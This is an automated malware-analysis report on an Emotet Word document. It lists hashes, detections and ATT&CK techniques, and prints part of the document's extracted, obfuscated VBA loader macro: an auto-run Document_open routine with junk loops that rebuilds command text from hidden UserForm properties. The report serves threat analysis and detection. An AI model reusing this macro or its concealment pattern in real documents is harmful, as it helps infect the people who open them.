Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 b82542fa69e2a893…

MALICIOUS

Office (OLE)

187.2 KB Created: 2019-12-16 14:35:00 Authoring application: Microsoft Office Word First seen: 2020-06-01
MD5: 2637c02ea8e5eb75010e20ade10baa12 SHA-1: 48a541f9c84039d12d1c95735bfa758c40261024 SHA-256: b82542fa69e2a8936972242c0d2d5049235b6b0d24030073a886937f1f179680
302 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet's typical behavior for downloading and executing secondary payloads. The ClamAV detection explicitly names Emotet and identifies the file as a downloader. The presence of a VBA macro and the execution of a command stager strongly suggest the intent to download and run a malicious second-stage payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7458830-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7458830-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8140 bytes
SHA-256: 409d487730a9d51caa88cfb0f07efa112ba6a83bcc4eb11b95f60b222d9d4da2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Rzhhuzjxcv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Rptyjgmliq, 0, 0, MSForms, TextBox"
Private Sub Document_open()
      Dim Gnoiiggzb
      Dim Rsmylgurp
      For Rtvolvzagqdud = Kevnkaaxcmzk To 0
         Blpuzxbthl = xPI
         Gjhmqzkvunu = CDbl(3)
         Aaeroyicbf = Tan(MyeW5A)
         Uhyqandm = 4 - Rzemutapnruj
         Wctnppedykvrm = (3 - Zrihhifmbdpc)
         Rgliatxupxoo = Trdhuuoz
         Rpqpskzm = CDbl(6)
         Gdkillwebk = Tan(Tetjzihrdsui)
      Next
      Dim Hnuqealsd
      Dim Htctewyc
      For Kmredriosnpap = Kevnkaaxcmzk To 0
         Lpacjhfxa = xPI
         Ynxwhcoi = CDbl(3)
         Cmaiddkv = Tan(MyeW5A)
         Eplsgyaiq = 4 - Qxdtuqwgmlh
         Idztfeubp = (3 - Jcepjcgrslmox)
         Mopzvxydkd = Cmjnbyhks
         Wkfpxvwoc = CDbl(6)
         Rglqdykyullwd = Tan(Ykqpeqaht)
      Next
      Dim Yvxecgftvfbno
      Dim Nsvnkiitbjq
      For Ervqxkiv = Kevnkaaxcmzk To 0
         Ksqzjwjnynpjq = xPI
         Arpbwulq = CDbl(3)
         Djkpdguutlv = Tan(MyeW5A)
         Zwswscovbi = 4 - Tsuweybpkfnyy
         Voxbehiqf = (3 - Tontcbutknaxo)
         Eytjuxyvsgdh = Kbpsffncqdl
         Ktvrinkck = CDbl(6)
         Kavtunytjdzl = Tan(Jigcipxqs)
      Next
Ntakvqqomg
End Sub

Attribute VB_Name = "Xwnovcrgymx"
Attribute VB_Base = "0{E6230E25-CF38-4652-8080-151CFA479254}{31DC7B89-5D40-4BBC-BF4C-1DE257F11D30}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Pexkjvbltod"
Function Hvvnyevgreozy()
      Dim Qvhrfwwswqex
      Dim Imldbkvghwjja
      For Lgrsulzgfhb = Kevnkaaxcmzk To 0
         Tgxfbitf = xPI
         Jqxjokhvw = CDbl(3)
         Kkmepkif = Tan(MyeW5A)
         Akrnbyeirqil = 4 - Bwclwylemz
         Kalykaumigfvn = (3 - Nfxvzldd)
         Xjhjwxsfe = Wsghrmavr
         Kwyzodjkgxtrm = CDbl(6)
         Cmimpiyxqm = Tan(Hzdhbazzllw)
      Next
Mteinvlsc = Rzhhuzjxcv.Rptyjgmliq
      Dim Ugdfnnfmyyfn
      Dim Zrzywriq
      For Sejhohwlq = Kevnkaaxcmzk To 0
         Fcspesaizwh = xPI
         Cgsazvkeuwmj = CDbl(3)
         Xqctwyktpgisy = Tan(MyeW5A)
         Mlltqfhpv = 4 - Omlgggzvdsxcl
         Irmrhwdwh = (3 - Pnspbgha)
         Ijabsdeppjahj = Ddezkpduerm
         Qqukbjailqp = CDbl(6)
         Gsbbhewzycdbz = Tan(Ovkgbqyyo)
      Next
Jelcbypg = Mteinvlsc + Xwnovcrgymx.Vymythrjb + Xwnovcrgymx.Jrepaofkthxyj + Xwnovcrgymx.Pbqtalvovq
      Dim Zekwgbipgzgzf
      Dim Gekyapauv
      For Vmtqowznb = Kevnkaaxcmzk To 0
         Txzkqlhxgqerx = xPI
         Eajzkohzg = CDbl(3)
         Qlkzrfdjkmyq = Tan(MyeW5A)
         Myiqqvwejry = 4 - Timytpvu
         Gyznoarfkkk = (3 - Yiqzzlbsand)
         Yofbdupl = Riiesmotsvro
         Pwjvufkv = CDbl(6)
         Bcajhpifvqy = Tan(Hjgmulpikzc)
      Next
Nzzdgmxveib = Jelcbypg + Xwnovcrgymx.Gcmkuffzboc + Xwnovcrgymx.Yfnydvem
      Dim Mgakhydzlywe
      Dim Pqtfthgzxmdzz
      For Ysmqgqmkhimjo = Kevnkaaxcmzk To 0
         Bujwbkuddko = xPI
         Ohiytdmfjn = CDbl(3)
         Dglxgyrdj = Tan(MyeW5A)
         Pcilepjgs = 4 - Waznplii
         Brxeigwmw = (3 - Dyswlriqahpca)
         Xtjgubtbol = Wintvsdsb
         Dtasqzmoxuxi = CDbl(6)
         Ppykxeka = Tan(Hnntkwrkqb)
      Next
Hvvnyevgreozy = Ujqpbcav + Nzzdgmxveib + Ujqpbcav
      Dim Isdhqaiyt
      Dim Bcaogxktge
      For Ypqhfvubpbau = Kevnkaaxcmzk To 0
         Yajxpantev = xPI
         Bvcpfdbx = CDbl(3)
         Zsddznvacfjw = Tan(MyeW5A)
         Kioghfkvic = 4 - Zzvxsgegaquma
         Ettsfxsfwovqz = (3 - Jajboween)
         Sjuocfhhfbok = Guziwqey
         Uczlaaogp = CDbl(6)
         Jlimqiscc = Tan(Ubicewqmntn)
      Next
End
... (truncated)